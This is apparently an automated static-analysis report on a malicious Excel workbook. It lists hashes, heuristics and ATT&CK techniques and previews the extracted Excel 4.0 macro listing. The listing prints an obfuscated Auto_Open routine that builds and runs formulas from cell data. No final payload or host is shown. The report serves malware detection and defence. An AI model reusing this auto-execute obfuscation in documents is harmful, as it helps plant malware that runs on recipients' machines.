Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 adb302bc4086fc71…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-25 10:32:54 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 267569b5dd0f6a9eb9030860edd2386d SHA-1: d27609f3516e6fef6f0349da3b9a82771e6bce31 SHA-256: adb302bc4086fc7130c54b0cb440584f1d88993b8ccc09b924143a774922dc9c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical indicator of malicious activity. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code. While the exact payload is not discernible from the provided evidence, the technique strongly implies an attempt to exploit the user's system.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6506 bytes
SHA-256: 047159493bf0a9ab96889148247cf63fd1d09d03e74cbf45c6f2e799338caf7b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  AwAG
' 0018     25 LABEL : Cell Value, String Constant - amizlRcuPa len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D167 
' 0018     20 LABEL : Cell Value, String Constant - BwDgj len=0 
' 0018     23 LABEL : Cell Value, String Constant - cwFytkBQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - jolSdr len=0 
' 0018     25 LABEL : Cell Value, String Constant - LcnCRNcIuO len=0 
' 0018     20 LABEL : Cell Value, String Constant - LjgCL len=0 
' 0018     27 LABEL : Cell Value, String Constant - LOSdWLGfOiTL len=0 
' 0018     24 LABEL : Cell Value, String Constant - MTRbiweKL len=0 
' 0018     23 LABEL : Cell Value, String Constant - tCwlYFXC len=0 
' 0018     20 LABEL : Cell Value, String Constant - THWhI len=0 
' 0018     23 LABEL : Cell Value, String Constant - TtrkdmLS len=0 
' 0018     27 LABEL : Cell Value, String Constant - UCWLRcMwWDhd len=0 
' 0018     23 LABEL : Cell Value, String Constant - vCWdgfKA len=0 
' 0018     26 LABEL : Cell Value, String Constant - vHGooSgpAOU len=0 
' 0018     24 LABEL : Cell Value, String Constant - vWxzgiXpU len=0 
' 0018     21 LABEL : Cell Value, String Constant - wwTGTf len=0 
' 0018     27 LABEL : Cell Value, String Constant - XYlLFFnsQVCq len=0 
' 0018     20 LABEL : Cell Value, String Constant - yGSLN len=0 
' 0018     22 LABEL : Cell Value, String Constant - zAdHKAd len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZOWSQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  AwAG,D78,"SET.NAME("tCwlYFXC",VALUE("0"))",""
'  AwAG,D83,"SET.NAME("TtrkdmLS",tCwlYFXC)",""
'  AwAG,D86,"SET.NAME("THWhI",tCwlYFXC)",""
'  AwAG,D89,"SET.NAME("LjgCL",COUNTA(cwFytkBQ))",""
'  AwAG,D94,"SET.NAME("jolSdr",COUNTA(zAdHKAd))",""
'  AwAG,D96,[],""
'  AwAG,D100,"SET.NAME("UCWLRcMwWDhd","")",""
'  AwAG,D105,"TtrkdmLS",""
'  AwAG,D109,"SET.NAME("wwTGTf",HLOOKUP("*",cwFytkBQ,TtrkdmLS,FALSE))",""
'  AwAG,D111,"yGSLN",""
'  AwAG,D116,"SET.NAME("amizlRcuPa",tCwlYFXC)",""
'  AwAG,D119,[],""
'  AwAG,D122,"amizlRcuPa",""
'  AwAG,D126,"LcnCRNcIuO",""
'  AwAG,D130,"MTRbiweKL",""
'  AwAG,D135,"LOSdWLGfOiTL",""
'  AwAG,D139,"SET.NAME("XYlLFFnsQVCq",VALUE(HLOOKUP("*",zAdHKAd,LOSdWLGfOiTL,FALSE)))",""
'  AwAG,D141,"vHGooSgpAOU",""
'  AwAG,D143,"UCWLRcMwWDhd",""
'  AwAG,D146,"THWhI",""
'  AwAG,D149,NEXT(),""
'  AwAG,D151,"vCWdgfKA",""
'  AwAG,D154,"SET.NAME("f",INT(T(FORMULA(T(UCWLRcMwWDhd)&"",""&T(vCWdgfKA)))))",""
'  AwAG,D156,"BwDgj",""
'  AwAG,D161,NEXT(),""
'  AwAG,D163,RETURN(),""
'  AwAG,D196,"SET.NAME("vWxzgiXpU",D78)",""
'  AwAG,D201,"cwFytkBQ",""
'  AwAG,D206,"SET.NAME("zAdHKAd",R54C12)",""
'  AwAG,D208,"SET.NAME("BwDgj",217)",""
'  AwAG,D212,"SET.NAME("ZOWSQ",4)",""
'  AwAG,D216,vWxzgiXpU(),""
'  AwAG,D217,HALT(),""